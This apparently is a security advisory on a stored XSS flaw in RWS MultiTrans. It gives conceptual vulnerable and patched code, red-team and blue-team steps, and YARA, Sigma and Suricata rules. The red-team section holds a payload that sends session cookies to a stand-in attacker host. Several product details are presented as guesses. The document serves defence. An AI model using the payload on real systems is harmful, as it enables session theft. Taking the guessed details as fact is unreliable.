CVE-2024-43024

Executive Summary

CVE-2024-43024 identifies multiple stored cross-site scripting (XSS) vulnerabilities in RWS MultiTrans v7.0.23324.2 and earlier. An attacker can inject arbitrary web scripts or HTML via a crafted payload, leading to session hijacking, data theft, or defacement. The vulnerability is unpatched, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for affected deployments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise translation management system (RWS MultiTrans). Organizations should verify their software supply chain for any use of this product and apply vendor updates when available.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but this is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated user with ability to submit content
• User Interaction (UI): Required (R) – victim must view the malicious content
• Scope (S): Changed (C) – impacts other components
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and low privileges, but stored XSS can lead to persistent compromise.

Deep Dive & Mechanics

Stored XSS occurs when user-supplied input is not properly sanitized before being stored in the application's database and later rendered to other users. In RWS MultiTrans, the vulnerability likely exists in fields such as project names, translation notes, or user profile fields. An attacker with low-level access can inject malicious JavaScript or HTML that executes in the context of other users' browsers.

The attack flow:

1. Attacker logs in and navigates to a vulnerable input field.
2. Attacker submits a payload like <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When another user views the affected page, the script executes.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// Server-side code that stores user input directly
app.post('/saveProject', (req, res) => {
  const projectName = req.body.projectName;
  // No sanitization
  db.save({ name: projectName });
  res.send('Saved');
});

// Server-side code that renders stored data without escaping
app.get('/viewProject', (req, res) => {
  const project = db.get(req.query.id);
  res.send(`<h1>${project.name}</h1>`);
});

Patched Code (Conceptual):

// Use a sanitization library
const sanitizeHtml = require('sanitize-html');

app.post('/saveProject', (req, res) => {
  const projectName = sanitizeHtml(req.body.projectName, {
    allowedTags: [],
    allowedAttributes: {}
  });
  db.save({ name: projectName });
  res.send('Saved');
});

// Or use template engine with auto-escaping
app.get('/viewProject', (req, res) => {
  const project = db.get(req.query.id);
  res.render('project', { name: project.name }); // EJS auto-escapes
});

Exploitation & Lab Setup

Red Team

Setup:

1. Deploy RWS MultiTrans v7.0.23324.2 in a lab environment.
2. Create a low-privileged user account.
3. Identify vulnerable input fields (e.g., project name, translation notes).

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Log in as attacker.
2. Navigate to a page with a vulnerable input field.
3. Submit the payload.
4. Wait for an admin or other user to view the page.
5. Receive the stolen cookie on your attacker server.

Blue Team

Detection:

• Monitor for unusual script tags in user-submitted content.
• Use web application firewalls (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding.
• Use a security scanner to identify vulnerable fields.
• Restrict user permissions to limit exposure.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the MultiTrans server.
• Logs: Entries containing <script>, onerror=, javascript: in user input fields.
• File System: Modified database entries with embedded JavaScript.
• Memory: Injected scripts in browser memory for affected users.

Detection Engineering

YARA Rule

rule CVE_2024_43024_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting RWS MultiTrans"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43024"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in RWS MultiTrans
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in RWS MultiTrans logs
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: rws_multitrans
detection:
    selection:
        - field: "user_input"
          pattern: "<script"
        - field: "user_input"
          pattern: "onerror="
        - field: "user_input"
          pattern: "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in translation notes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43024 - Stored XSS Payload in RWS MultiTrans"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable any vulnerable input fields or apply a WAF rule to block XSS patterns.
2. Short-term: Contact RWS for a patch or upgrade to a non-vulnerable version.
3. Long-term: Implement input validation and output encoding across the application. Use a Content Security Policy (CSP) to mitigate XSS impact.
4. Monitoring: Enable detailed logging of user input and review for suspicious patterns.

Valters IT
Securing Digital Frontiers